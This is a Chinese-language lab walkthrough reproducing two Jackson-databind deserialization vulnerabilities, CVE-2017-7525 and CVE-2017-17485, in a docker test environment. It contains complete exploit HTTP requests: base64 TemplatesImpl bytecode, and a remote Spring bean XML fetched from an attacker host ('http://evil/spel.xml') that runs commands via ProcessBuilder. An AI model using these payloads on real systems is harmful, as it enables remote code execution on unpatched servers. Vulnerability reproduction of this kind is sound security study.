Jackson-databind 反序列化漏洞
漏洞原理
Jackson-databind 支持 [Polymorphic Deserialization](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization) 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 `TemplatesImpl`,可以实现任意代码执行。
所以,本漏洞利用条件如下:
1. 开启 JacksonPolymorphicDeserialization,即调用以下任意方法
```java
objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
```
2. Target class 需要有无参 constructor
3. Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使用的 Gadget 需要为其子类 / 实现接口
漏洞环境
靶场:192.168.4.10_ubuntu
#docker-compose up -d
环境启动后,Web运行在`http://your-ip:8080/`。
一、 CVE-2017-7525
漏洞详情
`Jackson-databind` 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 `SetterlessProperty` 调用 getter 方法,获取变量,然后设置变量值。当调用 `getOutputProperties()` 方法时,会初始化 `transletBytecodes` 包含字节码的类,导致命令执行,具体可参考 [java-deserialization-jdk7u21-gadget-note](https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/) 中关于 `TemplatesImpl` 的说明。
漏洞利用
使用JDK7u21的`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`作为Gadget,发送如下请求,将会执行`touch /tmp/prove1.txt`:
```
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298
{
"param": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
],
"transletName": "a.b",
"outputProperties": {}
}
]
}
```
这个POC只能运行在目标为JDK7u21以下的环境中,其他情况请更换Gadget。
二、 CVE-2017-17485
漏洞详情
CVE-2017-7525 [黑名单修复](https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1) 绕过,利用了 `org.springframework.context.support.FileSystemXmlApplicationContext`。
漏洞利用
1. 创建一个bean文件
利用该漏洞,我们需要创建一个bean文件,内容如下:
```xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>touch</value>
<value>/tmp/prove2.txt</value>
</array>
</constructor-arg>
<property name="any" value="#{ pb.start() }"/>
</bean>
</beans>
```
2. kali启一个http服务
放置在任意服务器上,如`http://192.168.4.29:9999/spel.xml`,
3. 构造数据包发送
发送如下数据包,使Jackson加载bean,触发漏洞:
```
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 138
{
"param": [
"org.springframework.context.support.FileSystemXmlApplicationContext",
"http://evil/spel.xml"
]
}
```
成功执行`touch /tmp/prove2.txt`: